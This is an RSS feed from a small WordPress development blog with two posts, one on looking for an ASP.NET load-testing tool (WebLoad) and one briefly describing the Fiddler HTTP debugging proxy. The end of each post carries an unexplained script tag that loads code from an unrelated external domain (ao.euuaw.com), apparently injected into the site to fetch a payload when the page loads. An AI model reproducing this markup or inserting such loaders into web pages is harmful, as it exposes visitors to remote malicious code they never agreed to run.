<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wacdesigns &#187; Development</title>
	<atom:link href="http://www.wacdesigns.com/tag/development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wacdesigns.com</link>
	<description>What about Creativity ?</description>
	<lastBuildDate>Sat, 19 Jun 2010 12:58:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Web Stress Tool</title>
		<link>http://www.wacdesigns.com/2007/06/14/web-stress-tool/</link>
		<comments>http://www.wacdesigns.com/2007/06/14/web-stress-tool/#comments</comments>
		<pubDate>Thu, 14 Jun 2007 09:53:15 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2007/06/14/web-stress-tool/</guid>
		<description><![CDATA[Today I have been trying to web stress my development website using ACT from Microsoft. I am using Visual Studio 2005 Professional, and while taking a look to find this precious tool that was readily available in the previous version &#8230; <a href="http://www.wacdesigns.com/2007/06/14/web-stress-tool/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Today I have been trying to web stress my development website using ACT from <a title="microsoft" href="http://www.microsoft.com" target="_blank">Microsoft</a>. I am using Visual Studio 2005 Professional, and while taking a look to find this precious tool that was readily available in the previous version VS.NET 2003. I couldn&#8217;t find it. (uh!!! did i forget to install it ???? ) checked out but nothing done, checked on the web and reach a forum post which said. Application Test Center is no more available on VS.NET 2005, you can <strong>buy a new licence</strong> of <strong>VS.NET Team tester</strong> to to be able to use some stress tool. Ok how nice <img src='http://www.wacdesigns.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  marketing strategy&#8230;</p>
<p>Anyway, i have been wandering around the web to find a proper web stress/load tool to be able to test my web developments. results have been pretty deceiving&#8230; could not find a proper tool for testing ASP.NET Websites. After some time i came up on <a title="sourceforge" href="http://www.sourceforge.net" target="_blank">sourceforge</a>. to find this tool : <a title="Webload" href="http://www.webload.org/" target="_blank"> WEBLOAD</a> (Open source performance testing) which is the open source version of the recognised <a title="Radview WebLoad" href="http://www.radview.com/product/editions-overview.aspx" target="_blank">Radview Webload</a>.</p>
<p>I&#8217;ll be now trying this tool and then give some feedback soon after.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2007/06/14/web-stress-tool/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fiddler &#8211; HTTP Debugging Proxy</title>
		<link>http://www.wacdesigns.com/2006/12/12/fiddler-http-debugging-proxy/</link>
		<comments>http://www.wacdesigns.com/2006/12/12/fiddler-http-debugging-proxy/#comments</comments>
		<pubDate>Tue, 12 Dec 2006 16:35:24 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Fiddler]]></category>
		<category><![CDATA[HTTP Debugger]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=43</guid>
		<description><![CDATA[This is a quiet nice tool, that i have been using for sometimes now. What is Fiddler? Fiddler is a HTTP Debugging Proxy which logs all HTTP traffic between your computer and the Internet. Fiddler allows you to inspect all &#8230; <a href="http://www.wacdesigns.com/2006/12/12/fiddler-http-debugging-proxy/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is a quiet nice tool, that i have been using for sometimes now.</p>
<h4>What is Fiddler?</h4>
<p>Fiddler is a HTTP Debugging Proxy which logs all HTTP traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP Traffic, set breakpoints, and &#8220;fiddle&#8221; with incoming or outgoing data. Fiddler is designed to be much simpler than using NetMon or Achilles, and includes a simple but powerful JScript.NET event-based scripting subsystem.</p>
<p>The website is available <a title="Fiddler" href="http://www.fiddlertool.com" target="_blank">here</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2006/12/12/fiddler-http-debugging-proxy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
